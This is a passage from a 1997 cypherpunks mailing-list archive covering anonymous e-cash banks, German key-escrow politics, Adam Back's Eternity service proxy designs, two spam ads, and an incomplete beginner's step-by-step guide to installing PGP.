So, perhaps you could have multiple banks and let reputation sort them
out, if you could arrange the protocols so that it would be apparent
if a bank was minting more cash than it had received hash collisions
for.  (Say by publishing the collisions, and making it possible to
publically verify the quantity of cash in circulation).

But if you've got multiple banks then you've got to have an exchange
mechanism.  The market could probably take care of this, setting
exchange rates based on banks reputations.

However it would be nicer to have something which required no trust
and which had no posssibility of cheating rather than relying on
reputation to sort them out.

> Think about it this way. Personal computers didn't really start to kill
> mainframes until they were networked into mainframes and could hoover data
> out of them with impunity, and out-process the information. Excel killed
> 123 that much quicker because it could read .WK1 files transparently,
> macros and all, and then do much more with it. Soon, this upcoming
> "protocol conversion", between the net world of bearer certificates and the
> meatspace world of book-entries, will be done by a financial trustee.

The problem with anonymous ecash to continue your metaphor is that
.WK1 files also happen to be illegal or surrounded by huge amounts of
banking regulations.  So even though the new system is better the
negative forces acting against so far have succeeded in stifling it.

One of the negative forces also is user stagnation, people are used to
cheques and credit cards, even if they are inefficient and prone to
fraud.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Apr 1997 08:24:37 -0700 (PDT)
To: Hodge Podge <hodgepodge@nym.alias.net>
Subject: Re: Data Privacy Laws
In-Reply-To: <19970430143414.10988.qmail@nym.alias.net>
Message-ID: <199704301521.KAA05017@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <19970430143414.10988.qmail@nym.alias.net>, on 04/30/97 at 02:34 PM,
   Hodge Podge <hodgepodge@nym.alias.net> said:


>Ulf =?ISO-8859-1?Q?M=F6ller?= (3umoelle@informatik.uni-hamburg.de) wrote:

>>It is worth noting that the "Data Privacy Commissioners" in Germany
>>(equivalent to the British Data Protection Registrar) are beginning to
>>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>>pseudonyms, and of course encryption, rather than more laws.

>But according to alt.security.pgp (4/28/97):

>BONN, Germany (Reuter) -- A German cabinet minister called Monday for
>increased efforts to fight crime on the Internet and demanded that
>cyber-sheriffs have keys to unlock coded messages.
>Interior Minister Manfred Kanther told a conference ....."The technical
>and organizational competence of agencies charged with fighting computer
>crime must be strengthened." 
>"The criminals are hiding in the anonymity of the networks, wiping their
>electronic tracks." Kanther said.

>So clearly the government disagrees.

Actually they probably do not dissagree. I am sure that the German
Government will come to agreement that "anonymity" only means anonymity
from civilians not anonymity from government. I am sure that the "Data
Privacy Commissioners" & the Interior Dept. will be in agrement solong as
everything is properly GAKed. :(


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hodge Podge <hodgepodge@nym.alias.net>
Date: Wed, 30 Apr 1997 07:34:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Data Privacy Laws
Message-ID: <19970430143414.10988.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Ulf =?ISO-8859-1?Q?M=F6ller?= (3umoelle@informatik.uni-hamburg.de) wrote:

>It is worth noting that the "Data Privacy Commissioners" in Germany
>(equivalent to the British Data Protection Registrar) are beginning to
>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>pseudonyms, and of course encryption, rather than more laws.

But according to alt.security.pgp (4/28/97):

BONN, Germany (Reuter) -- A German cabinet minister called Monday for
increased efforts to fight crime on the Internet and demanded that
cyber-sheriffs have keys to unlock coded messages.
Interior Minister Manfred Kanther told a conference ....."The
technical and organizational competence of agencies charged with
fighting computer crime must be strengthened." 
"The criminals are hiding in the anonymity of the networks, wiping
their electronic tracks." Kanther said.

So clearly the government disagrees.

	-- HP


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
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MNfnJIx2
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 30 Apr 1997 08:40:18 -0700 (PDT)
To: hodgepodge@nym.alias.net
Subject: Re: Data Privacy Laws
In-Reply-To: <19970430143414.10988.qmail@nym.alias.net>
Message-ID: <9704301539.AA63320@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> BONN, Germany (Reuter) -- A German cabinet minister called Monday for
> increased efforts to fight crime on the Internet and demanded that
> cyber-sheriffs have keys to unlock coded messages.
> Interior Minister Manfred Kanther told a conference .....

> So clearly the government disagrees.

Fortunately, it is not that clear.  The FDP (the smaller party in the
government coalition) sent out an angry press release today, pointing
out that Kanther's plan will not be supported by a majority neither in
the cabinet nor in the Bundestag, and demanding that he stops to
damage the government's reputation.

Also see my previous message about the FDP policy at
http://infinity.nus.sg/cypherpunks/dir.archive-97.04.17-97.04.23/0087.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: minjiang@hotmail.com
Date: Sun, 25 May 1997 06:16:56 -0700 (PDT)
To: minjiang@hotmail.com
Subject: international rates
Message-ID: <199705251300.GAA20728@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

You were referred to us as someone who makes regular international
calls.  If this is not the case, please forgive the intrusion- we won't send
you any other messages.

These are, by far, the lowest international calling rates anywhere. 
You can sign up online right now for service, for no cost or fees, and
you DO NOT need to switch your long distance carrier:

                http://205.199.212.65/itl/itl.html

AGAIN, there's no need to switch service: Just dial the 800# or PIC
code for access.  You can be on in 48 business  hrs. or less.  

PLUS, you can earn 5% on other people's usage, and get a FREE web page
that will take orders for your referals 24 hours per day:

All rates are FLAT rates, 24 hrs./day:

$1.48	Afghanistan			
$0.72	Albania			
$0.77	Algeria			
$0.76	American Samoa			
$0.43	Andorra			
$1.04	Angola			
$0.73	Anguilla			
$0.73	Antigua			
$0.68	Argentina			
$0.77	Armenia			
$0.53	Aruba			
$1.16	Ascension Island			
$0.28	Australia			
$0.38	Austria			
$0.85	Azerbaijan			
$0.36	Bahamas			
$0.95	Bahrain
$1.18	Bangladesh
$0.64	Barbados
$0.70	Belarus
$0.33	Belgium
$0.93	Belize
$0.78	Benin
$0.44	Bermuda
$1.09	Bhutan
$0.88	Bolivia
$0.64	Bosnia
$0.99	Botswana
$0.69	Brazil
$0.60	British Virgin
$0.75	Brunei
$0.60	Bulgaria
$0.81	Burkina Faso
$0.97	Burundi
$1.31	Cambodia
$1.02	Cameroon
$0.24	Canada
$0.84	Cape Verde Islan
$0.66	Cayman Islands
$1.38	Central African
$1.42	Chad
$0.56	Chile
$0.81	China
$0.62	Christmas Island
$0.68	Colombia
$1.17	Comoros
$1.05	Congo
$1.35	Cook Islands
$0.72	Costa Rica
$0.54	Croatia
$0.83	Cuba
$0.62	Cyprus
$0.48	Czech Republic
$0.28	Denmark
$1.09	Diego Garcia
$1.04	Djibouti
$0.67	Dominica
$0.78	Ecuador
$0.93	Egypt
$0.75	El Salvador
$0.46	Estonia
$1.18	Ethiopia
$0.44	Faeroe Islands
$1.07	Falkland Islands
$1.18	Fiji Islands
$0.32	Finland
$0.28	France
$0.72	French Antilles
$0.74	French Guiana
$0.72	French Polynesia
$1.04	"Gabon, Republic"
$0.76	Gambia
$0.93	Georgia
$0.28	Germany
$0.82	Ghana
$0.54	Gibraltar
$0.48	Greece
$0.67	Greenland
$0.60	Grenada
$0.59	Guadeloupe
$0.38	Guam
$0.72	Guatemala
$1.35	Guinea Bissau
$0.90	Guinea
$0.97	Guyana
$0.74	Haiti
$0.78	Honduras
$0.39	Hong Kong
$0.42	Hungary
$0.46	Iceland
$0.99	India
$0.88	Indonesia
$1.10	Iran
$1.21	Iraq
$0.34	Ireland
$0.69	Israel
$0.34	Italy
$1.17	Ivory Coast
$0.65	Jamaica
$0.36	Japan
$0.88	Jordan
$0.96	Kazakhstan
$1.12	Kiribati
$0.65	Korea
$0.89	Kuwait
$0.99	Kyrgyzstan
$1.50	Laos
$0.55	Latvia
$0.99	Lebanon
$1.03	Lesotho
$0.70	Liberia
$0.63	Libya
$0.37	Liechtenstein
$0.62	Lithuania
$0.37	Luxembourg
$0.87	Macao
$0.67	Macedonia
$1.18	Madagascar
$0.70	Malawi
$0.59	Malaysia
$1.10	Maldives
$1.13	Mali
$0.55	Malta
$1.14	Mauritania
$0.90	Mauritius
$1.28	Mayotte Island
$0.27	Mexico Step 1
$0.32	Mexico Step 2
$0.44	Mexico Step 3
$0.49	Mexico Step 4
$0.53	Mexico Step 5
$0.70	Mexico Step 6
$0.73	Mexico Step 7
$0.75	Mexico Step 8
$1.03	Micronesia
$0.88	Moldova
$0.34	Monaco
$0.99	Mongolia
$0.64	Montserrat
$0.62	Morocco
$0.88	Mozambique
$1.10	Namibia
$1.34	Nauru
$1.50	Nepal
$0.29	Netherlands
$0.66	Nevis
$1.10	New Caledonia
$0.35	New Zealand
$0.84	Nicaragua
$1.09	Niger
$0.81	Nigeria
$1.61	Niue
$0.30	Norway
$1.14	Oman
$1.27	Pakistan
$1.50	Palau
$0.78	Panama
$0.83	Papua New Guinea
$0.92	Paraguay
$0.78	Peru
$0.71	Philippines
$0.46	Poland
$0.44	Portugal
$0.21	Puerto Rico
$1.04	Qatar
$1.15	Reunion Island
$0.65	Romania
$0.67	Russia
$1.07	Rwanda
$0.80	Saipan
$0.46	San Marino
$1.04	Saudi Arabia
$1.40	Senegal
$1.36	Seychelles Isl
$0.99	Sierra Leone
$0.36	Singapore
$0.48	Slovakia
$0.57	Slovenia
$1.04	Solomon Island
$0.63	South Africa
$0.38	Spain
$1.16	Sri Lanka
$0.97	St Helena
$0.73	St Kitts
$0.73	St Lucia
$0.47	St Pierre & Mi.
$0.73	St Vincent
$0.64	Sudan
$1.25	Suriname
$0.68	Swaziland
$0.22	Sweden
$0.29	Switzerland
$1.15	Syria
$0.57	"Taiwan, Republic"
$0.98	Tajikstan
$1.07	Tanzania
$0.89	Thailand
$1.06	Tonga
$0.73	Trinidad & Tobag
$0.74	Tunisia
$0.66	Turkey
$0.99	Turkmenistan
$0.73	Turks & Caicos
$1.05	Tuvalu
$0.91	Uganda
$0.67	Ukraine
$0.75	United Arab Emir
$0.19	United Kingdom
$0.90	Uruguay
$0.99	Uzbekistan
$1.09	Vanuatu
$0.43	Vatican City
$0.48	Venezuela
$1.25	Vietnam
$0.44	Wallis
$1.00	Western Samoa
$0.97	Yemen Arab Rep
$0.97	Yemen Demo Rep
$0.60	Yugoslavia
$0.85	Zaire
$0.91	Zambia
$0.74	Zimbabwe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gsmith@ultragrafix.com
Date: Fri, 25 Apr 1997 08:02:37 -0700 (PDT)
To: Friend@public.com
Subject: Save 50% on Office Pro 97 & 40% on NT 4.0  !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 1 May 1997 12:58:24 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity service proxies
Message-ID: <199705010441.FAA00950@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



[btw what do people think of the practice of putting To: cypherpunks,
and Bcc: coderpunks@toad, cryptography@c2 as I have done here?  I do
this for stuff when I'm interested in comments of people who are on
cryptography but not cypherpunks, similarly for coderpunks to avoid
the non-crossposting issue with coderpunks, and avoid extra moderation
work for Perry with cryptography.  I know you get multiple copies if
you're on all lists, how else does one reach you all?  Myself I have a
procmail recipie which junks multiple copies, like:

:0 Wh: msgid.lock
| formail -D 128000 msgid.cache

]

My announce was rather hurried, and someone suggested to me the use of
a proxy as an architecture for interfacing to the eternity service
rather than the cgi based system I have.

The person who suggested this to me also described some work on a
"universal proxy framework" which is designed to enable things like
"cookie-cutting, onion routing etc."  Also it was suggested this is a
cheaper way to implement a proxy.

Here are some comments on possible architectures for an eternity
service.

There are a number of places where one might put a eternity server:

  - cgi script on your ISP for yourself and others to use

  - cgi script and local web server on your dial up linux box

  - standalone eternity proxy running on an ISP

  - local proxy

  - proxy framework module (local or remote? does it support both)

  - apache module "eternity proxy module"

  - browser plugin (if this has the power to do it)

My ideal interface would have been a web proxy, as this allows the
user to transparently integrate this into their browser.  You may be
able to set your browser to use the proxy to handle *.eternity, and
have the rest go direct, but I'm not so sure on this point.
Regardless, the proxy can forward requests as cacheing proxies do for
documents not in *.eternity.

My first consideration was to get a proof of concept going as quickly
as possible.  What you are looking at is a weekend hack + 3 days
debugging and cleaning up.

Proxies have higher user requirements to set up, you need root, or at
least ability to leave processes running indefinately, and some
mechanism to restart them on reboot (or do it manually).

My cgi-bin implementation allows you to run with cgi access, and cron,
or at a pinch to do without cron even.

Local proxies have higher development costs, in that it involves
windows code to be of use for the majority of users, which has much
higher development cost.  The universal proxy framework (which I am
not familiar with) would allow a local proxy to be implemented more
easily if I understand correctly.

Local handling of at least the last layer of decryption would help
from a security point of view.  Or the local proxy could be a full
eternity server for your own use.

The ones I've made possible with my cgi based implementation are the
first two, I chose them over proxies simply because they are the
easiest to implement first.

Basically what I have implemented is a poor mans remote proxy or (with
a local webserver) a poor unix person's local proxy.  You give it URLs
of the form:

  http://www.foo.com/cgi-bin/eternity?url=http://blah.eternity/blah/

The cgi script modifies on the fly URLs in documents (if they are type
text/html) and involve *.eternity to have prefix:

  cgi-bin/eternity?url=

Well actually it copes with local, and site relative urls also (where
site is the eternity virtual site).  Normal URLs are left as is.

Proxy is the more elegant way to do it as you don't have to re-write
urls on the fly.

There are advantages to running the server (proxy or otherwise) on an
ISP rather than locally:

- if you're using the cgi solution and an SSL web server you get SSL
  encryption on the link.  This way people don't get to see your
  requests, if they are handled locally by your ISP from it's news
  spool.

- it has lower bandwidth requirements which may be an advantage, as
  you don't have to down load all the eternity documents, only the ones
  you want to read as you browse them

- if the eternity server is running on your ISP and the ISP has a
  local newspool people outside the ISP can not see your requests go
  to the NNTP server to see which articles you are reading.

There are some advantages to local proxies:

- you don't rely on the ISP or the eternity service operator not to
  log exdirectory URLs, and not to log your accesses.  (However note
  that your ISP can observe your use of the NNTP server, unless you
  protect against this by saving all eternity web pages locally, so
  that you never have to do a NNTP lookup per article).

- if you are accessing URLs which are private (encrypted with a
  password inside the final layer) you don't need to give this
  password to the server to get it to decrypt for you.  (You don't
  need to with the remote proxy, but you get back a PGP message which
  you then have to manually decrypt, unless you can figure out a
  browser plugin to automatically decrypt PGP documents on the fly as
  they are read).

A local proxy used in combination with remote proxy or cgi-proxy would
allow another architecture.  Your local proxy obtains it's article
hash -> message-id/newsgroup/article-number database from a real
remote eternity proxy which is watching news as it comes in.

Then it can fetch the articles itself with lower overhead.

Another architecture (moving more towards Anderson's meaning of an
eternity service) is the idea of forwarding requests between eternity
servers.  In this way the eternity servers would be "remailing" your
requests.  If your entry point into the eternity service network was
via an SSL protected link, and the links between the eternity servers
were encrypted, the eternity servers as a whole would disguise who was
accessing what.  You could allow proxying of normal web pages too, and
create a distributed version of anonymizer.com as a side effect.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 1 May 1997 18:33:10 +0800
To: cypherpunks@toad.com
Subject: PGPSteps
Message-ID: <33686DFB.3899@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain

I've done a semi-major update of "PGPSteps" and included key revokation
in the set-up part. Also various URL's were added/corrected/updated.
I've tried to include Windows 95 references as well (where applicable).
By now I consider "PGPSteps" "complete" in terms of the installing
procedure. I hope, it's still simple and easy, although it's a couple
page longer now.

If you have any comments, corrections etc., please let me know.

Ciao

Harka

PS: Dave, please update it on the Web page. Thanks :)

-- 

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


-----BEGIN PGP SIGNED MESSAGE-----


                            PGPSteps                  
                            --------   
                    Pretty Good Privacy (PGP)               
                   Installation - Step by Step 

by Harka <harka(at)nycmetro.com>

last updated: 05/01/1997

"PGPSteps" (c) may be distributed freely without charge, left
unchanged and the intact signature. The latest version is available
by sending an e-mail to harka(at)nycmetro.com with the subject:
SEND PGPSTEPS  (finger for update info).
See also http://bureau42.base.org/public/pgpsteps.txt for a recent
version.

Note: This document is intended for first-time PGP users. It is
meant as a short step-by-step reference guide for the installation
of PGP (Pretty Good Privacy), versions 2.6.2 and 2.6.3i, on an IBM
compatible computer running DOS/Windows.
However, it is _not_ meant to replace the PGP-documentation in any
way. As a matter of fact, it is highly recommended to read at least
pgpdoc1.txt (included in the PGP-distribution) _before_  actually
installing the program.
Much more additional info not covered here you'll also find in the
various comprehensive FAQ's (see FURTHER INFORMATION at the end).

Portions from the PGP documentation have been used herein. Thanks
to Philip Zimmermann, Perry Metzger, Colin Plumb, Derek Atkins,
Jeffrey I. Schiller, all of the Cypherpunks list and others.

It might be useful to print this document out as a reference.
====================================================================

So you feel like having some more privacy by using PGP?
Wise decision! Congratulations :)


 All install steps in short
 --------------------------

  --download the respective PGP version
  --create C:\PGP directory
  --copy the downloaded zip into C:\PGP
  --unzip pgp262.zip (pgp263i.zip) into the C:\PGP directory
  --unzip second archive pgp262i.zip (pgp263ii.zip) into the C:\PGP
    directory, recreating the directories by using pkunzip's -d
    option
  --edit autoexec.bat, adding the lines
    SET PGPPATH=C:\PGP
    SET PATH=C:\PGP;%PATH%
    and
    SET TZ= (see below).
  --save autoexec.bat and reboot
  --create key pair with  pgp -kg
  --sign key with  pgp -ks yourID -u yourID  (only version 2.6.2)
  --add keys from keys.asc to your public keyring with
    pgp -ka keys.asc
  --verify integrity of PGP distribution archive with
    pgp pgp262i.asc pgp262i.zip (pgp pgp263ii.asc pgp263ii.zip)
  --copy keys and the downloaded zip-file to floppy as a backup
  --create Key Revokation Certificate with  pgp -kd yourID
  --extract revoked key with  pgp -kxa yourID revoke  into a file
    called revoke.asc
  --copy revoke.asc to the backup disk
  --copy secring.pgp and pubring.pgp from backup disk back into the
    C:\PGP directory, overwriting the revoked keys
  --write-protect backup disk and keep in a safe location
  --add public key to a key server (optional)
  --have fun

(it all sounds more complicated than it is...promised :))


 Getting PGP
 -----------

The latest official US-version is PGP 2.6.2 (freeware). If you are
a citizen of the United States, you can download pgp262.zip from
the Massachusetts Institute of Technology (MIT) at
http://web.mit.edu/network/pgp.html

The latest international version is 2.6.3ia (freeware). If you live
in any other country than the US, you can download pgp263i.zip from
the International PGP-Homepage at
http://www.ifi.uio.no/pgp/

The reason for two separate versions are patent law issues. If you
use the international version in the US (or vice versa) you might
be in violation of these patent laws.
Both versions are, however, essentially the same thing. Therefore
download and use the one, that applies to you.


Having downloaded PGP, create a C:\PGP directory.
In DOS you can use  MD PGP  from the C:\ prompt and in Windows 3.1
you can use the File Manager. Here go to the FILE menu and CREATE
DIRECTORY (in Windows 95: EXPLORER/select MAIN FOLDER
(c:)/FILE/NEW/FOLDER, name the new folder PGP).

Copy the downloaded pgp262.zip (or international pgp263i.zip) into
your new C:\PGP directory. You might want to copy pkunzip.exe into
your PGP directory as well - makes things easier :).
(You will need PKUNZIP version 2.04g or later to uncompress and
split the PGP262.ZIP archive file into individual files. PKUNZIP is
shareware and is widely available on MSDOS machines. A
Windows-version called WINZIP is available as well. More details if
necessary you'll find in the PGP documentation in a file called
setup.doc.)

Unzip the archive in the C:\PGP directory with:

pkunzip pgp262.zip

or

pkunzip pgp263i.zip 


Now you'll find a second zip file pgp262i.zip (pgp263ii.zip) in
your PGP directory, plus a corresponding file pgp262i.asc
(pgp263ii.asc).
The .asc (ASCII)-file is the signature, that let's you verify the
integrity of the archive (after you've installed PGP).

Unzip pgp262i.zip (pgp263ii.zip) with:

pkunzip pgp262i.zip -d

or

pkunzip pgp263ii.zip -d

Remember to recreate the directories by using pkunzips -d option!
(You should now have a subdirectory within C:\PGP called DOC, i.e.
C:\PGP\DOC. As you might have guessed already, that contains the
PGP documentation :)).



 Setting the Environment
 -----------------------

Next, you can set an MSDOS "environment variable" to let PGP know
where to find its special files. Use your favorite text editor to
add the following lines to your AUTOEXEC.BAT file (usually on your
C: drive):

   SET PGPPATH=C:\PGP
   SET PATH=C:\PGP;%PATH%

In DOS you can use EDIT by typing  EDIT C:\AUTOEXEC.BAT . You'll
probably already have a couple of SET lines, just put the one's for
PGP in there somewhere.
In WINDOWS 3.1 you can go to Program Manager (the main screen) and
go to the menu FILE, RUN and type  SYSEDIT (in Windows 95 use
START/RUN/SYSEDIT). This will open several files, including the
AUTOEXEC.BAT. Go to that window and include the SET lines from
above.

Substitute your own directory name if different from "C:\PGP".

While you're editing the AUTOEXEC.BAT, include the TZ variable as
well. The TZ (Time-Zone)-variable tells MSDOS what time zone you
are in, which helps PGP create GMT timestamps for its keys and
signatures. If you properly define TZ in AUTOEXEC.BAT, then MSDOS
gives you good GMT timestamps, and will handle daylight savings
time adjustments for you. Here are some sample lines to insert into
AUTOEXEC.BAT (see above on how to), depending on your time zone:

For Los Angeles:  SET TZ=PST8PDT
For Denver:       SET TZ=MST7MDT
For Arizona:      SET TZ=MST7
   (Arizona never uses daylight savings time)
For Chicago:      SET TZ=CST6CDT
For New York:     SET TZ=EST5EDT
For London:       SET TZ=GMT0BST
For Amsterdam:    SET TZ=MET-1DST
For Moscow:       SET TZ=MSK-3MSD
For Aukland:      SET TZ=NZT-13

Your AUTOEXEC.BAT should now look similar to this example:

@ECHO OFF
C:\MCAFEE\VSHIELD /anyaccess /xmsdata /only a:
PROMPT $P$G
PATH=C:\NC;C:\DOS;C:\;C:\NC\WINSOCK;C:\WINDOWS;C:\MCAFEE
SET PGPPATH=C:\PGP
SET PATH=C:\PGP;%PATH%
SET TZ=EST5EDT
SET MIXPATH=C:\NC\PI
SET TEMP=C:\TRASH
SET WINPMT=[WINDOWS] $P$G
SET BLASTER=A220 I5 D1 T4
SET GALAXY=A220 I5 D1 K10 P530 T6
C:\DOS\SMARTDRV.EXE 1024 512 /X
C:\MCAFEE\VSHIELD /reconnect
win :


If it does, EXCELLENT! Now save it and reboot your system to run
AUTOEXEC.BAT, which will set up PGPPATH and TZ for you.


 Generating Your First Key
 -------------------------

Being new to PGP, it might be a good idea to create a test key
first, so that you can play around with it and even pretend to send
messages back and forth. That will give you some feeling on how it
works (and also take some of the fear away :)). But note, that this
is for _testing_ purposes only, it's not your actual key yet! I
recommend to play around in DOS using the command lines, so when
you use one of the many shells and front-ends available later on,
you'll know what's going on "behind the scenes".

To generate your test key, go to DOS and type:

pgp -kg

Since this will be a test key only, choose the smallest key size
(1), make your keyID  Test Key <test@test.com>  and the pass phrase
TEST.
Then generate the key.

Now you'll find two new files in your C:\PGP directory: secring.pgp
(your secret keyring) and pubring.pgp (your public keyring).
Basically you're ready to play now.

You might want to start by signing your own public key (Note: the
international version 2.6.3i already does that automatically for
you during key generation) by typing:

pgp -ks test -u test

("test" being the ID for the key, that you sign and the second
"test" the ID, that will be used to sign with. Since you sign your
own key, both ID's are the same. Later on with your real key,
however, the ID "test" will be replaced by your actual name and the
key to be signed will very likely be somebody else's).

You could also add the public keys from C:\PGP\keys.asc to your
public keyring with:

pgp -ka keys.asc

After having added the keys, you now can also verify the integrity
of the PGP archive (good idea!) by typing:

pgp pgp262i.asc pgp262i.zip

or

pgp pgp263ii.asc pgp263ii.zip

PGP should tell you that it has a Good Signature from:

Jeffrey I. Schiller <jis(at)mit.edu>

It will also tell you that it doesn't "trust" the (jis(at)mit.edu)
key. This is because PGP does not *know* that the enclosed key
really belongs to Jeffrey.
Don't worry about this now. Read the section "How to Protect Public
Keys from Tampering" in Volume 1 of the PGP manual.

(If you get a Good Signature, you could now actually delete
pgp262i.zip & pgp262i.asc or pgp263ii.zip & pgp263ii.asc to save
some space. But keep the original archive that you downloaded
around.)

Or you can take some document and sign it clear-text with

pgp -sta filename

and then verify it by typing

pgp filename.asc


Or you can encrypt files, sign them, wipe them, extract keys, check
fingerprints or, or, or...

At the end of this document you'll find a very helpful command line
summary with enough options to play with. And, of course, read the
actual PGP documentation before you move on to the next step!!


 Getting set up for real
 -----------------------

Alright, you've played around with PGP, might have generated
several keys, sent messages "back and forth", read the
documentation and maybe the FAQ's, and generally you feel pretty
comfortable with it. Of course, you actually want to now use PGP in
the "real world". :)

Since you've edited the autoexec.bat, have set up the PGP directory
etc. already during the test run, all you actually have to do to
get back to "ground zero" is delete the files C:\PGP\SECRING.PGP,
C:\PGP\SECRING.BAK (if there), C:\PGP\PUBRING.PGP and
C:\PGP\PUBRING.BAK (if there).

Now generate your actual key with:

pgp -kg

This time choose at least "military grade" (option 3, 1024 bits)
for your key size. Note, that both 2.6.2 and 2.6.3i support up to
2048 bit keys. If you want the maximum key size, you'll have to
actually type 2048, instead of simply choosing 1, 2 or 3.

For the key ID use the generally used format of:

firstname lastname <handle@domain.name>

example:

John Doe <jdoe@whatever.com>

(including the < >).


Now choose a _strong_ and _long_ passphrase. At least 20 different
characters are recommended. Try to avoid simple words but include
as many different (random) characters as possible.

Example: 

Passphrase "Thomas" is really not a good one, especially if that's
your name.

"Thomas is wandering over the Red Square" is better already, but
wouldn't stand long either to a dictionary attack.

"Th0m@$iswaN-Der1ngOVE/RtH%r&dS\QA~<" would therefore be a much
better choice.

Use your imagination and remember: long, unguessable and many
different characters!

(see also the Passphrase FAQ and the Diceware Homepage in FURTHER
INFORMATION on how to get a good passphrase)


_Never_ write your passphrase down, don't tell it to anybody (not
even to your boy/girlfriend, husband, mother or whomever!) and
never let anybody look over your shoulder, when you type it in!!

Now finish generating the key. Btw., when it comes to "type some
random text", don't hit the same key over and over again :). Type
your favorite poem or an article from the newspaper until it beeps.

Sign your own key again with  pgp -ks yourID -u yourID  (only
2.6.2.) and then make backup copies of the keys and the original
pgp zip-archive (that you downloaded) to a floppy disk.

While you're at it, extract your public key with  pgp -kxa yourID
yourID  and copy yourID.asc to the disk as well.
Keep this file on your hard drive too; you'll probably need it quite
often to cut & paste your public key from into e-mail.


Next create a Key Revokation Certificate.
This will be used in case you either somehow loose your secret key
completely or if somebody has gotten a copy of your secret key and
you have reason to believe, that they got (or will get) your
passphrase too. Obviously something you want to avoid at all costs!

A Key Revokation Certificate is basically your public key with a
stamp "REVOKED" on it. This you can send to people (or a key
server) if your secret key ever gets compromised. It will
essentially tell their PGP: DON'T USE yourID's KEY EVER AGAIN
'CAUSE IT'S COMPROMISED!  (see also PGP-documentation).

Before you create your Revokation Certificate, make sure that you
have made backup copies of your keys (secring.pgp and pubring.pgp)
to the floppy-disk. You will need them!
To revoke your key type:

pgp -kd yourID

You'll have to type in your passphrase and then your key get's
revoked. If you check with  pgp -kc yourID , you'll see, what it
looks like.

Next extract your (now revoked) key with:

pgp -kxa yourID revoke

into a file called revoke.asc. This is the file, that you'll send
to people in case your secret key get's compromised.
Copy the Key Revokation Certificate (revoke.asc) to the floppy-disk
with your backup-keys.

Now all you actually have to do to get your keys from "REVOKED"
back to "normal" is to copy the backups (secring.pgp and
pubring.pgp) from the floppy-disk back into your C:\PGP directory.
Overwrite the existing (revoked) keys with the backups.
If you now check with  pgp -kc yourID, you should see your regular
public key again (no "REVOKED" anymore).


On your backup disk you should now have at least the following
files:

pgp262.zip      -the original PGP-distribution archive 
(or pgp263i.zip)
secring.pgp     -your secret keyring
pubring.pgp     -your public keyring
yourID.asc      -your normal public key
revoke.asc      -your revoked public key (Revokation Certificate)
autoexec.bat    -(optional)

Write-protect the disk and keep it in a safe place, where _nobody_
but you has access to it.


That's almost it for installing PGP...

As an optional step, you might want to make your public key
generally available by sending it to a public key server.

See http://www-swiss.ai.mit.edu/~bal/pks-toplev.html

for an easy Web-form, where you can submit your own key or get the
public keys from others (works also via e-mail).

Check http://www.pgp.net/pgpnet/www-key.html for other WWW-key
servers.


You're finished with the setup now and ready to roll!!
(Was pretty easy, huh? :))


 Most common mistakes in the beginning
 -------------------------------------

1. Sending your secring.pgp and/or your passphrase to somebody
   else.

DON'T!! You don't need to share any of this with public key
cryptography (see PGP documentation for more details). All that
people need to encrypt mail to you or check your signature is your
_public_ key.

2. Sending the entire file pubring.pgp to somebody else.

No need to either. Extract only your _own_ key with  pgp -kxa
yourID filename  into a file.
This file you can now send either as attachment or simply cut &
paste the key into your e-mail window and send it as regular e-mail
(the same applies to the Revokation Certificate in revoke.asc; in
